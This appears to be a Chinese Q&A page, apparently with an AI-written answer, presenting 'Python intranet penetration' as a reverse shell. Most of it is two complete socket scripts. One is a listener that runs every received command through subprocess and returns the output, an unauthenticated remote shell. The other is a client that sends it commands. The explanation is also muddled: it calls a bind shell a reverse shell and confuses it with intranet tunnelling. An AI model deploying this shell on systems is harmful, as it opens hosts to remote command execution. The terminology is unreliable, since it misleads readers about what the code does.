python 内网穿刺
时间: 2023-08-03 13:06:19 浏览: 87
一个基于Python的TCP内网穿透工具,支持向公网投射内网应用(实验)+源代码+文档说明
Python 内网穿刺(Python reverse shell)是一种技术,用于在一个局域网中的计算机上远程执行命令。它通常用于网络安全测试和渗透测试中,以验证系统的安全性。
在 Python 中,可以使用 `socket` 模块来实现一个简单的内网穿刺工具。下面是一个简单的例子:
```python
import socket
import subprocess
# 设置监听的本地 IP 和端口号
host = '192.168.1.100'
port = 1234
# 创建 socket 对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定 IP 和端口号
s.bind((host, port))
# 监听连接
s.listen(1)
print(f"Listening on {host}:{port}...")
# 接受连接
conn, addr = s.accept()
print(f"Connected by {addr[0]}:{addr[1]}")
# 循环接收和执行命令
while True:
cmd = conn.recv(1024).decode()
if cmd.lower() == 'exit':
break
output = subprocess.getoutput(cmd)
conn.send(output.encode())
# 关闭连接
conn.close()
```
以上代码是一个简单的服务器端程序,它会监听指定的 IP 和端口,接受客户端的连接,并将客户端发送的命令执行后返回结果。你可以将该代码保存为 `server.py` 并在服务器上运行。
客户端代码如下:
```python
import socket
# 设置服务器的 IP 和端口号
host = '192.168.1.100'
port = 1234
# 创建 socket 对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器
s.connect((host, port))
# 循环发送命令并接收结果
while True:
cmd = input("Enter command (or 'exit' to quit): ")
s.send(cmd.encode())
if cmd.lower() == 'exit':
break
output = s.recv(1024).decode()
print(output)
# 关闭连接
s.close()
```
以上代码是一个简单的客户端程序,它会连接到指定的服务器 IP 和端口,并发送用户输入的命令,并打印服务器返回的结果。你可以将该代码保存为 `client.py` 并在客户端上运行。
需要注意的是,内网穿刺是一种潜在的安全风险,使用时需要谨慎,并确保在合法授权的范围内进行使用。
阅读全文